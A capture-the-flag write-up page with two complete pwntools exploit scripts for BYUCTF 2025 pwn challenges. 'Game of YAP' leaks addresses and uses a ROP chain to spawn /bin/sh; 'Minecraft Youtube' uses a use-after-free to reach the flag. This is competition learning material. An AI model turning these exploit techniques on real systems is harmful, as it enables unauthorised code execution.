Diefunction
  • About
  • Vulnerabilities
    • GHSL-2021-023 / CVE-2021-32819
  • BlachatMEA Finals 2024
  • CTF
    • Technology Control Company
      • Athackcon CTF 2021
        • Trust
        • Config
        • Extend
        • Poison
      • Blackhat MEA 2022
        • CTF Setup on Kali linux
        • Careers
        • SOC Complaints
    • Athackcon
      • POLL
    • Cyber Night 3
      • Client Hell
    • BlackHatMEA Quals 2022
      • Spatify
      • PeehPee
      • Meme generator
      • Black notes
      • Jimmy's blog
    • BlackHatMEA Quals 2023
      • Web - Hardy
      • Web - Authy
      • Reverse engineering - light up the server
    • BlackhatMEA Finals 2024
      • PWN
    • BITSCTF - Reverse Mishap
    • Cybernights 2025
      • REVERSE
      • PWN
    • BYUCTF 2025
      • PWN
Powered by GitBook
On this page
  • Game of YAP
  • Minecraft Youtube

Was this helpful?

  1. CTF
  2. BYUCTF 2025

PWN

Game of YAP

Exploit

# docker container run -it ubuntu:24.04@sha256:3afff29dffbc200d202546dc6c4f614edc3b109691e7ab4aa23d02b42ba86790 /bin/bash
# docker cp ubuntu:/lib/x86_64-linux-gnu/libc.so.6 ./libc-24.04.so
# docker cp ubuntu:/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 ./ld-24.04.so
# socat TCP-LISTEN:1355,reuseaddr,fork EXEC:'env LD_PRELOAD=./libc-24.04.so ./ld-24.04.so ./game-of-yap'
from pwn import *
import argparse

# Setup argument parser
parser = argparse.ArgumentParser(description='PWN exploit script')
parser.add_argument('--debug', action='store_true', help='Enable debug pauses', default=True)
parser.add_argument('--libc', action='store_true', help='Use libc and linker for local testing')
parser.add_argument('--remote', action='store_true', help='Connect to remote server')
parser.add_argument('--host', help='Remote host')
parser.add_argument('--port', type=int, help='Remote port')
args = parser.parse_args()

executable = './game-of-yap'
context.binary = elf = ELF(executable)
# context.log_level = 'debug'

libc = None
ld = './ld-24.04.so'
env = {
    'LD_PRELOAD': None
}

io = None
isDebug = args.debug

def pwndbg():
    global io
    context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(io, '''
    set pagination off
    b malloc
    b free
    ''')

def debug(msg = 'Press Enter to continue ...', disabled = False):
    if isDebug and not disabled:
        input(f'[Debug] {msg}')

def chance(data):
    io.sendafter(b"...\n", data)

def exploit():
    global libc
    
    libc = ELF(libc) 
    
    debug('Calculating ELF base')
    
    junk = b'A' * 0x108 # offset to return address

    # Leak Play function address
    payload = flat([
        junk,
        p8(0x80)  # 1280 yap function
    ])
    chance(payload)
    
    elf.address = int(io.recvline().decode().rstrip(), 16) - elf.symbols['play']
    log.success(f'ELF base: {hex(elf.address)}')
    
    # Return to main
    payload = flat([
        junk,
        elf.symbols['main']
    ])
    chance(payload)
    
    debug('Calculating LIBC base')
    
    payload = flat([
        junk,
        elf.address + 0x1247,  # call putschar, after call the rsi = libc.so.6:_IO_2_1_stdout_+83
        0x0, # for (pop rbp) in nothing
        elf.address + 0x128A,  # printf('%p', rsi) to leak libc.so.6:_IO_2_1_stdout_+83
        0x0, # for (pop rbp) in yap
        elf.symbols['main'],
    ])
    chance(payload)
    io.recvline() # for putchar
    
    libc.address = int(io.recvline().rstrip(), 16) - libc.symbols['_IO_2_1_stdout_'] - 0x83
    log.success(f'LIBC base: {hex(libc.address)}')
    
    debug('Execute execve')
    
    rop = ROP(libc)
    
    payload = flat([
        junk,
        rop.find_gadget(['pop rdi', 'ret'])[0],
        next(libc.search(b"/bin/sh\x00")), # rdi = "/bin/sh"
        rop.find_gadget(['pop rsi', 'ret'])[0], 
        0, # rsi = 0
        libc.address + 0xb502c,  # pop rdx ; xor eax, eax ; pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret
        0, # rdx = 0
        0,  # rbx = 0 (doesn't matter)
        0,  # r12 = 0 (doesn't matter)
        0,  # r13 = 0 (doesn't matter)
        0,  # rbp = 0 (doesn't matter)
        libc.symbols['execve']
    ])
    chance(payload)
    debug('Finished')

    io.interactive()

def local():
    global io, libc, env
    log.info('Starting local exploit')

    if args.libc:
        libc = './libc-24.04.so'
        env['LD_PRELOAD'] = libc
        io = process([ld, executable], env=env)
    else:
        libc = './libc.kali.so'
        io = process(executable)
    
    exploit()

def srv(ip, port):
    global io, libc

    log.info(f'Starting remote exploit {ip}:{port}')
    libc = './libc-24.04.so'
    io = remote(ip, port)
    exploit()
    
if __name__ == '__main__':
    if args.remote:
        srv(args.host, args.port)
    else:
        local()

Challenge files

Minecraft Youtube

Exploit

# echo -n 'THC{HelloWorld}' > flag.txt
# socat TCP-LISTEN:1355,reuseaddr,fork EXEC:'./minecraft'
from pwn import *
import argparse

# Setup argument parser
parser = argparse.ArgumentParser(description='PWN exploit script')
parser.add_argument('--debug', action='store_true', help='Enable debug pauses', default=True)
parser.add_argument('--remote', action='store_true', help='Connect to remote server')
parser.add_argument('--host', help='Remote host')
parser.add_argument('--port', type=int, help='Remote port')
args = parser.parse_args()

executable = './minecraft'
context.binary = elf = ELF(executable)
# context.log_level = 'debug'

io = None
isDebug = args.debug

def pwndbg():
    global io
    context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(io, '''
    set pagination off
    b malloc
    b free
    ''')

def debug(msg = 'Press Enter to continue ...', disabled = False):
    if isDebug and not disabled:
        input(f'[Debug] {msg}')

def menu(option):
    io.sendlineafter(b'6. Leave\n', option)

def username(name):
    io.sendafter(b'Please go ahead an type your username now: \n', name)

def register(name):
    menu(b'1')
    username(name)

def collect(first, last):
    while True:
        menu(b'3')
        resp = io.recvline()
        if b'Please input your first and last name:\n' in resp:
            io.send(first)
            io.send(last)
            break

def logout():
    menu(b'5')
    io.recvuntil(b'. \n')
    
def keycard():
    menu(b'4')
    resp = io.recvline()
    if b'take this key card' in resp:
        log.success('Successfully got keycard!')
        return True
    else:
        log.failure('Failed to get keycard - exploit didn\'t work!')
    return False

def flag():
    menu(b'7')
    

def exploit():
    username(b'AAAAAAAA')
    collect(b'BBBBBBBB', b'CCCCCCCC')
    
    menu(b'3') # trigger free chunk

    register(b'DDDDDDDD') # user and nametag global vars points to the same chunk
    collect(b'E' * 8, b'F' * 8) # free chunk and overwrite uid

    if keycard():
        flag()
        io.recvline() # drop loki msg
        log.success(f'Flag: {io.recvline().decode().rstrip()}')
        return True
    return False

def local():
    global io
    log.info('Starting local exploit')
    
    exploited = False
    while not exploited:
        try:
            io = process(executable, timeout=3)
            exploited = exploit()
        except Exception as e:
            log.warning(f'Attempt failed: {e}')
        finally:
            try: io.close()
            except: pass
    
def srv(ip, port):
    global io, libc

    log.info(f'Starting remote exploit {ip}:{port}')

    exploited = False
    while not exploited:
        try:
            io = remote(ip, port, timeout=3)
            exploited = exploit()
        except Exception as e:
            log.warning(f'Attempt failed: incorrect seed')
        finally:
            try: io.close()
            except: pass
    
if __name__ == '__main__':
    if args.remote:
        srv(args.host, args.port)
    else:
        local()

Challenge files

PreviousBYUCTF 2025

Last updated 3 days ago

Was this helpful?

BYUCTF-2025/pwn/game-of-yap at main · BYU-CSA/BYUCTF-2025GitHub
BYUCTF-2025/pwn/minecraft_youtube at main · BYU-CSA/BYUCTF-2025GitHub
Logo
Logo